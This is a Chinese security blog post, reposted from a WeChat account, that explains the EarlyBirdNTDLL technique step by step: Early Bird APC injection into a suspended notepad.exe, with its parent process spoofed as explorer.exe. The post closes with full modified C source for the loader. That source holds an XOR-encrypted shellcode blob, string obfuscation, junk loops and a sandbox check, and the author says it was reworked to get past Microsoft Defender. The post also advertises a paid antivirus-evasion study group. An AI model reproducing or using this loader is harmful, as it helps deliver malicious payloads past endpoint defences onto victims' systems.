EarlyBirdNTDLL项目解析以绕过Defender

admin 2025年1月16日23:08:33评论6 views字数 8942阅读29分48秒阅读模式

欢迎加入我的知识星球,目前正在更新免杀相关的东西,129/永久,每100人加29,每周更新2-3篇上千字PDF文档。文档中会详细描述。目前已更新99+ PDF文档,《2025年了,人生中最好的投资就是投资自己!!!》

加好友备注(星球)!!!

EarlyBirdNTDLL项目解析以绕过Defender
一些纷传的资源:
EarlyBirdNTDLL项目解析以绕过Defender
EarlyBirdNTDLL项目解析以绕过Defender
EarlyBirdNTDLL项目解析以绕过Defender
等等....
简介

根据作者介绍,这个项目是一个APC注入 + 父进程ID欺骗的项目。其主要思想是将用户 APC 排队到挂起的进程中,从而避免创建新线程。由于进程是在挂起状态下启动的,因此 EDR 尚未放置任何钩子。对于 PPId 欺骗,我们只需复制另一个进程的属性。如果我们查看事件日志,就可以检测到它。

代码解析

这里我们采用VS2019对其进行编译。因为该项目使用的是异或对其加密Shellcode。为了我们方便调试我们要将其异或的代码删掉。

将如下代码注释掉即可。

//XOR((char*)payload, payload_len, (char*)key, sizeof(key));

Main函数中,我们先来看看初始化的一些代码,这里初始化了一个STARTUPINFOEX结构体,该结构体是STARTUPINFO结构体的扩展版本。这段代码主要功能是为进程创建做好准备,特别是用于进程属性扩展的场景,例如伪造父进程。

EarlyBirdNTDLL项目解析以绕过Defender

我们接下来来看一下这里调用了一个FindTarget函数,该函数会返回一个PID,而这个PID就是explorer.exe资源管理器的PID

FindTarget函数这里,定义了几个字符数组,这是为了隐藏字符串。这几个字符数组分别是ntdll.dllexplorer.exeNtQuerySystemInfomation

EarlyBirdNTDLL项目解析以绕过Defender

接着会通过自定义的GetModuleHandle函数来获取到Ntdll.dll模块的基地址。本质上就是通过PEB来获取的。这个其实我们在自定义Shellcode哪里看到过。

那么获取到Ntdll模块的基地址之后,通过自定义的GetProcAddress函数来获取到NtQuerySystemInfomation函数的基地址了。

关于自定义的GetProcAddress函数本子和上是通过遍历导出表来获取的。

EarlyBirdNTDLL项目解析以绕过Defender

接下来首先初始化缓冲区大小为256KB,用于存储进程信息。调用realloc函数来动态分配缓冲区。

EarlyBirdNTDLL项目解析以绕过Defender

调用NtQuerySystemInfomation函数,该函数用于获取系统进程信息。该函数的第一个参数为枚举类型,定义为SYSTEM_INFORMATION_CLASS。该函数的第二个参数为接收系统信息的缓冲区,这里给定的是Buffer。第三个是指定缓冲区的大小。最后一个参数是可选参数。需要注意的是这是一个循环。

EarlyBirdNTDLL项目解析以绕过Defender

然后将分配的Buffer指针(存储进程信息的原始数据)转换为类型为SYSTEM_PROCESS_INFORMATION*的指针,以便通过结构体访问缓冲区中的数据。SYSTEM_PROCESS_INFORMATION结构是一个用于描述系统中进程信息的结构。他会返回很多信息,比如父进程的ID,线程的数量,PID,进程的名称等等。

例如如下图中:

EarlyBirdNTDLL项目解析以绕过Defender

判断遍历出的进程名称是否和explorer.exe相同,如果相同,则将PID赋值给ProcId变量。这样就成功通过进程名称来获取到进程的PID了

EarlyBirdNTDLL项目解析以绕过Defender

拿到explorer.exe进程PID之后。将其封装到CLIENT_ID结构中。

EarlyBirdNTDLL项目解析以绕过Defender

接下来就是通过自定义的GetProcAddressGetModuleHandle函数获取到NtOpenProcess函数的基地址。

EarlyBirdNTDLL项目解析以绕过Defender

既然获取到了NtOpenProcess函数的基地址,那么就可以调用了。该函数用于打开一个进程的句柄。&hProc将返回进程的句柄。&oa是一个OBJECT_ATTRIBUTES结构体,包含了目标进程的属性,在这里,它用于指定进程对象的安全性。&clientId是一个CLIENT_ID类型的结构体,包含了目标进程的PID,因为UniqueThread成员的值为NULL

中间包含了很多的权限标记这里简单说明:

PROCESS_CREATE_THREAD: 请求对目标进程创建线程的权限。PROCESS_QUERY_INFORMATION: 请求查询目标进程信息的权限。PROCESS_VM_OPERATION: 请求对目标进程虚拟内存的操作权限,例如分配或释放内存。PROCESS_VM_READ: 请求读取目标进程内存的权限。PROCESS_VM_WRITE: 请求向目标进程内存写入数据的权限。PROCESS_CREATE_PROCESS: 请求在目标进程上下文中创建新进程的权限。
EarlyBirdNTDLL项目解析以绕过Defender

接下来将通过UpdateProcThreadAttribute函数来更新进程或线程启动的属性。si.lpAttributeListSTARTUPINFOEX 结构中的 lpAttributeList 成员,指向存储进程或线程属性的列表。在这里,它是之前通过 InitializeProcThreadAttributeList 初始化的列表。0这是预留的参数。PROC_THREAD_ATTRIBUTE_PARENT_PROCESS表示属性的类型,它指定了要设置的属性是父进程。

&hProc指向父进程句柄的指针,sizeof(HANDLE)表示父进程句柄的大小。

EarlyBirdNTDLL项目解析以绕过Defender

通过CreateProcessA函数来启动一个新的进程notepad.exe。我们可以看到第五个参数为TRUE表示新进程将继承当前进程的句柄。第六个参数为CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENTCREATE_SUSPENDED表示创建进程时挂起它,意味着新的进程在创建时不会立刻执行,挂起状态下,可以在后续代码中使用 ResumeThread 启动进程。EXTENDED_STARTUPINFO_PRESENT表示扩展的启动信息,以便为新进程指定额外的属性。

如下图可以看到这里notepad.exe的父进程为explorer.exe

EarlyBirdNTDLL项目解析以绕过Defender

下一步就是调用NtAllocateVirtualMemory函数来申请远程进程的内存了。返回的内存地址会存储在pRemoteCode中。

EarlyBirdNTDLL项目解析以绕过Defender
EarlyBirdNTDLL项目解析以绕过Defender

调用NtWriteVirtualMemory函数将Shellcode写入进去。

EarlyBirdNTDLL项目解析以绕过Defender

写入进去之后,通过调用NtProtectVirtualMemory函数将其内存保护权限更改为可读可执行的权限。原本是可读可写的。

原本:

EarlyBirdNTDLL项目解析以绕过Defender

修改之后:

EarlyBirdNTDLL项目解析以绕过Defender

更改之后,调用QueueUserAPC函数将pRemoteCode作为回调函数,排队到目标线程中去执行,目标线程会在空闲时从 APC 队列中取出并执行此回调函数。

最后恢复线程执行即可。

EarlyBirdNTDLL项目解析以绕过Defender

我们对其换一种加密方式即可绕过Defender

#include <windows.h>#include <stdio.h>#include <stdlib.h>#include <tlhelp32.h>#include <string.h>#include "funcCall.h"#include "structsFunc.h"unsigned char cjk[] = {0x42, 0x70, 0x28, 0x54, 0xbd, 0x56, 0xf8, 0xab, 0xb0, 0x4d, 0xff, 0x69, 0xea, 0xe0, 0x1f, 0xef, 0x6e, 0xe3, 0x81, 0x9f, 0xdb, 0x70, 0x20, 0xe2, 0x2d, 0xf6, 0xb3, 0xf9, 0xa8, 0x05, 0x35, 0x6a, 0x8b, 0xf8, 0xc6, 0xcc, 0x68, 0xe3, 0xbf, 0xfa, 0xf4, 0x72, 0xe6, 0x81, 0x84, 0xf6, 0x09, 0x6b, 0x1c, 0x71, 0xdf, 0x44, 0xa9, 0x9c, 0x6d, 0xff, 0xf9, 0x62, 0xbd, 0x0c, 0xbf, 0xf9, 0x49, 0x5d, 0x1f, 0xff, 0x69, 0xe3, 0x3b, 0x1f, 0x9e, 0xb3, 0xe9, 0x8c, 0x05, 0xbf, 0xe8, 0x20, 0x30, 0xc5, 0xbe, 0x38, 0xab, 0xf8, 0xc8, 0x7e, 0x4c, 0xcc, 0xf8, 0x4c, 0x6e, 0x68, 0x20, 0xf8, 0x55, 0xfa, 0xb3, 0xeb, 0x90, 0x04, 0xbf, 0xe8, 0x48, 0xe6, 0x05, 0x41, 0xf1, 0xea, 0x3b, 0x79, 0x36, 0x70, 0xaa, 0x66, 0x00, 0x8f, 0xf1, 0xe3, 0x81, 0x8d, 0x12, 0x79, 0x6a, 0x79, 0x40, 0xff, 0x39, 0x6a, 0x88, 0xad, 0xcb, 0xc9, 0xe7, 0xb3, 0x01, 0x9a, 0x30, 0xee, 0x89, 0x9c, 0xcb, 0xe0, 0xf3, 0xf4, 0xc6, 0xfe, 0x1c, 0xe2, 0xb1, 0x9d, 0xd8, 0x79, 0x20, 0xbc, 0x05, 0xfa, 0xb3, 0xeb, 0xac, 0x04, 0xbf, 0xe8, 0xea, 0x3b, 0x49, 0x36, 0x70, 0xaa, 0x60, 0x0c, 0xe6, 0x79, 0xf3, 0xee, 0x14, 0xe4, 0x79, 0xf3, 0xf1, 0x14, 0xff, 0x62, 0xe3, 0x33, 0xa1, 0x9e, 0x79, 0xf9, 0x4f, 0xad, 0xe6, 0x79, 0xf2, 0xea, 0x05, 0x35, 0x2a, 0x42, 0xe7, 0xb2, 0x41, 0xc7, 0xf6, 0xf8, 0xf7, 0xbf, 0x38, 0xab, 0xb0, 0x4d, 0xbe, 0x38, 0xab, 0xf8, 0xc0, 0x33, 0x39, 0xaa, 0xb0, 0x4d, 0xff, 0x82, 0x9a, 0x3b, 0x22, 0x39, 0xc7, 0x7e, 0x0b, 0xad, 0xa3, 0x12, 0xa1, 0xf1, 0xf7, 0x18, 0xad, 0x16, 0x2d, 0xb2, 0x6b, 0x70, 0x28, 0x74, 0x65, 0x82, 0x3e, 0xd7, 0xba, 0xcd, 0x45, 0xd8, 0xde, 0xb5, 0xf6, 0xf9, 0x2b, 0xd9, 0xdf, 0x27, 0xbe, 0x61, 0xea, 0x39, 0x97, 0x41, 0xed, 0xc8, 0xd1, 0x21, 0xdd, 0x38};unsigned char ckj[][16] = {{0x26, 0xd2, 0xf3, 0x97, 0xad, 0x5c, 0x59, 0xdf, 0xcc, 0x8f, 0x0c, 0x0d, 0x50, 0x21, 0xc6, 0xac},{0x63, 0xc2, 0x07, 0xd4, 0x77, 0xaa, 0x93, 0xf2, 0x8f, 0x61, 0x12, 0x41, 0x0b, 0x50, 0x03, 0x13},{0xb7, 0xa8, 0x05, 0xff, 0x95, 0x83, 0x96, 0x81, 0x16, 0xce, 0x6b, 0x38, 0x3b, 0x3e, 0x47, 0x86},{0x07, 0xde, 0x48, 0x7e, 0xba, 0x03, 0x0a, 0x59, 0x57, 0x2b, 0xd9, 0x4d, 0xd8, 0x85, 0xb4, 0xb4},{0x6a, 0xe5, 0x4f, 0x6e, 0x07, 0x4f, 0x1d, 0x7c, 0x05, 0x5c, 0xcb, 0x87, 0x7d, 0x47, 0xd4, 0x31},};void xor_decrypt(unsigned char* data, size_t data_len, unsigned char keys[][16], size_t num_keys, size_t key_length) {size_t key_index = 0;for (int i = 0; i <= 10000; i++) {printf("1231231");}for (int i = 0; i <= 10000; i++) {printf("1231231");}  for (int i = 0; i <= 10000; i++) {printf("1231231");}for (size_t i = 0; i < data_len; i++) {unsigned char* key = keys[key_index];for (size_t k = 0; k < key_length; k++) {data[i] ^= key[k];}key_index = (key_index + 1) % num_keys;}}char key[] = "";// put the key to decrypt your payload hereSIZE_T payload_len = sizeof(cjk);SIZE_T payload_len2 = sizeof(cjk);NTSTATUS success;int main(int argc, char* argv[]){//simple sandbox evasion trickif (strstr(argv[0], "EarlyBirdNTDLL.exe") == 0){return 0;}int pid;HANDLE hProc = NULL;//STARTUPINFO si;STARTUPINFOEX si = { sizeof(si) };PROCESS_INFORMATION pi;SIZE_T attributeSize;LPVOID pRemoteCode = NULL;//void* pRemoteCode;//taken from https://captmeelo.com/redteam/maldev/2021/11/22/picky-ppid-spoofing.htmlInitializeProcThreadAttributeList(NULL, 1, 0, &attributeSize);si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(GetProcessHeap(), 0, attributeSize);InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &attributeSize);pid = FindTarget();printf("Explorer PID: %dn", pid);OBJECT_ATTRIBUTES oa;oa = { sizeof(oa) };CLIENT_ID clientId = { (HANDLE)pid, NULL };// stringsWCHAR masterDLL[] = { 'n','t','d','l','l','.','d','l','l',0 };char Op3npr0[] = { 'N','t','O','p','e','n','P','r','o','c','e','s','s',0 };WCHAR k3rn3l[] = { 'K','e','r','n','e','l','3','2','.','d','l','l',0 };char qu3u3[] = { 'Q','u','e','u','e','U','s','e','r','A','P','C',0 };myNtOpenProcess pOpenProcess = (myNtOpenProcess)hlpGetProcAddress(hlpGetModuleHandle(masterDLL), Op3npr0);NTSTATUS p = pOpenProcess(&hProc, PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION |PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_CREATE_PROCESS, &oa, &clientId); //PROCESS_CREATE_PROCESS is necessary for PPID spoofingif (hProc != NULL && p == 0x00000000)printf("[+] Handle to process obtained!!n");if (UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL) != 0)printf("Process props updatedn");si.StartupInfo.cb = sizeof(STARTUPINFOEX);/*ZeroMemory(&si, sizeof(si));si.cb = sizeof(si);ZeroMemory(&pi, sizeof(pi));*/// EXTENDED_STARTUPINFO_PRESENT is necessary for PPID spoofingif (CreateProcessA(0, (LPSTR)"notepad.exe", 0, 0, TRUE, CREATE_SUSPENDED | EXTENDED_STARTUPINFO_PRESENT, 0, 0, (LPSTARTUPINFOA)&si, &pi) == 0)printf("Failed to create process. Error code: %u", GetLastError());xor_decrypt(cjk, sizeof(cjk), ckj, sizeof(ckj) / sizeof(ckj[0]), sizeof(ckj[0]));//XOR((char*)payload, payload_len, (char*)key, sizeof(key));char alloc[] = { 'N','t','A','l','l','o','c','a','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };myNtAllocateVirtualMemory pAllocMem = (myNtAllocateVirtualMemory)hlpGetProcAddress(hlpGetModuleHandle(masterDLL), alloc);success = pAllocMem(pi.hProcess, &pRemoteCode, 0, &payload_len, MEM_COMMIT, PAGE_READWRITE); // we allocate buffer for our payloadif (success == 0x00000000)printf("PID: %dn[+] RW buffer created: %pn", pi.dwProcessId, pRemoteCode);char write[] = { 'N','t','W','r','i','t','e','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };myNtWriteVirtualMemory pWriteMem = (myNtWriteVirtualMemory)hlpGetProcAddress(hlpGetModuleHandle(masterDLL), write);success = pWriteMem(pi.hProcess, pRemoteCode, (PVOID)cjk, payload_len, (SIZE_T*)NULL); //we copy our payload to the buffer//printf("[+] myNtWriteVirtualMemory failed! Last error: %un", GetLastError());printf("Location of remote code: %pn", pRemoteCode);if (success == 0x00000000)printf("[+] Payload successfully copiedn");char protect[] = { 'N','t','P','r','o','t','e','c','t','V','i','r','t','u','a','l','M','e','m','o','r','y',0 };myNtProtectVirtualMemory pVirtualProtect = (myNtProtectVirtualMemory)hlpGetProcAddress(hlpGetModuleHandle(masterDLL), protect);DWORD old = 0;success = pVirtualProtect(pi.hProcess, &pRemoteCode, (PULONG)&payload_len, PAGE_EXECUTE_READ, &old); //we make the remote buffer RXif (success == 0x00000000)printf("[+] Permissions changed to RXn");myQueueUserAPC pQueueUserAPC = (myQueueUserAPC)hlpGetProcAddress(hlpGetModuleHandle(k3rn3l), qu3u3);if (!pQueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL))printf("QueueUserAPC Failed");//pQueueUserAPC((PAPCFUNC)pRemoteCode, pi.hThread, NULL);printf("pload = %p ; remcode = %pn", cjk, pRemoteCode);//getchar();ResumeThread(pi.hThread);return 0;}

原文始发于微信公众号(Relay学安全):EarlyBirdNTDLL项目解析以绕过Defender

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月16日23:08:33
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   EarlyBirdNTDLL项目解析以绕过Defenderhttps://cn-sec.com/archives/3629338.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息